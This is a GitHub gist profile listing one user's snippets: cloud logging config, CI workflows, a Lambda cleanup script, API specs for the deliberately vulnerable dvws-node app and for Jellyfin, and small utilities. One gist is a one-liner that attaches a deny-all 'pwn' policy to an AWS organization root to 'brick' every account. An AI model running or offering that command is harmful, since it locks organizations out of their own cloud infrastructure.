Skip to content

Instantly share code, notes, and snippets.

View kmcquade's full-sized avatar

Kinnaird McQuade kmcquade

View GitHub Profile
@kmcquade
kmcquade / config.json
Last active February 27, 2024 17:03
cloudwatch logs agent config
{
"agent": {
"metrics_collection_interval": 60
},
"logs": {
"logs_collected": {
"files": {
"collect_list": [
{
"file_path": "/home/ec2-user/shared-volume/zap.log",
@kmcquade
kmcquade / app.yaml
Created February 2, 2024 05:55 — forked from alukach/app.yaml
An example Github Actions for Python + Pipenv + Postgres + Pyright
# .github/workflows/app.yaml
name: My Python Project
on: push
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 10
services:
@kmcquade
kmcquade / clean_old_lambda_versions.py
Created December 5, 2023 18:47 — forked from tobywf/clean_old_lambda_versions.py
A quick script to remove old AWS Lambda function versions
from __future__ import absolute_import, print_function, unicode_literals
import boto3
def clean_old_lambda_versions():
client = boto3.client('lambda')
functions = client.list_functions()['Functions']
for function in functions:
versions = client.list_versions_by_function(FunctionName=function['FunctionArn'])['Versions']
for version in versions:
@kmcquade
kmcquade / dvws-node-swagger.json
Last active November 16, 2023 17:49
dvws-node Swagger file. The swagger.js file in the repo is in a javascript object but I need it to be yaml/json and downloadable. So downloading it from gist. Here is the original: https://github.com/vulnerable-apps/dvws-node/blob/master/swagger.js
{
"openapi": "3.0.1",
"info": {
"title": "DVWS API",
"description": "API Used for DVWS Application",
"version": "0.1"
},
"servers": [
{
"url": "http://dvws.local"
This file has been truncated, but you can view the full file.
{
"openapi": "3.0.1",
"info": {
"title": "Jellyfin API",
"version": "10.8.12",
"x-jellyfin-version": "10.8.12"
},
"servers": [
{
"url": "http://localhost"
@kmcquade
kmcquade / brick-aws.sh
Last active September 26, 2023 22:52
One-liner to brick AWS accounts from the Master Payer
aws organizations attach-policy \
--policy-id $(aws organizations create-policy --name pwn \
--type SERVICE_CONTROL_POLICY \
--description "pwn"
--content '{"Version": "2012-10-17","Statement": [{"Effect": "Deny", "Action": "*", "Resource": "*"}]}' \
| jq ".Policy.PolicySummary.Id"\
) \
--target-id $(aws organizations list-roots | jq ".Roots | .[0].Id")
@kmcquade
kmcquade / README.md
Created November 6, 2018 19:02 — forked from joelthompson/README.md
Vault Auth
@kmcquade
kmcquade / pw_example.py
Created January 25, 2023 21:49
pw_example.py
"""
Gmail doesn't work using regular recording. It will only work if you run the recording script and then wrap the recorded script in this
"""
from playwright.sync_api import Playwright, sync_playwright, expect
from playwright._impl._api_types import Error as PlaywrightError
def run(pw: Playwright) -> None:
args = [
@kmcquade
kmcquade / ldbdump.py
Created November 6, 2022 20:23 — forked from mkorthof/ldbdump.py
ldbdump - dumps LevelDB keys/values
#!/usr/bin/python3
# ldbdump - dumps LevelDB keys/values
#
# a LevelDB is a dir with files such a these:
# 000050.ldb 000100.log CURRENT LOCK LOG MANIFEST-000099
#
# sources: https://github.com/tos-kamiya/levelobjdb dump()
import os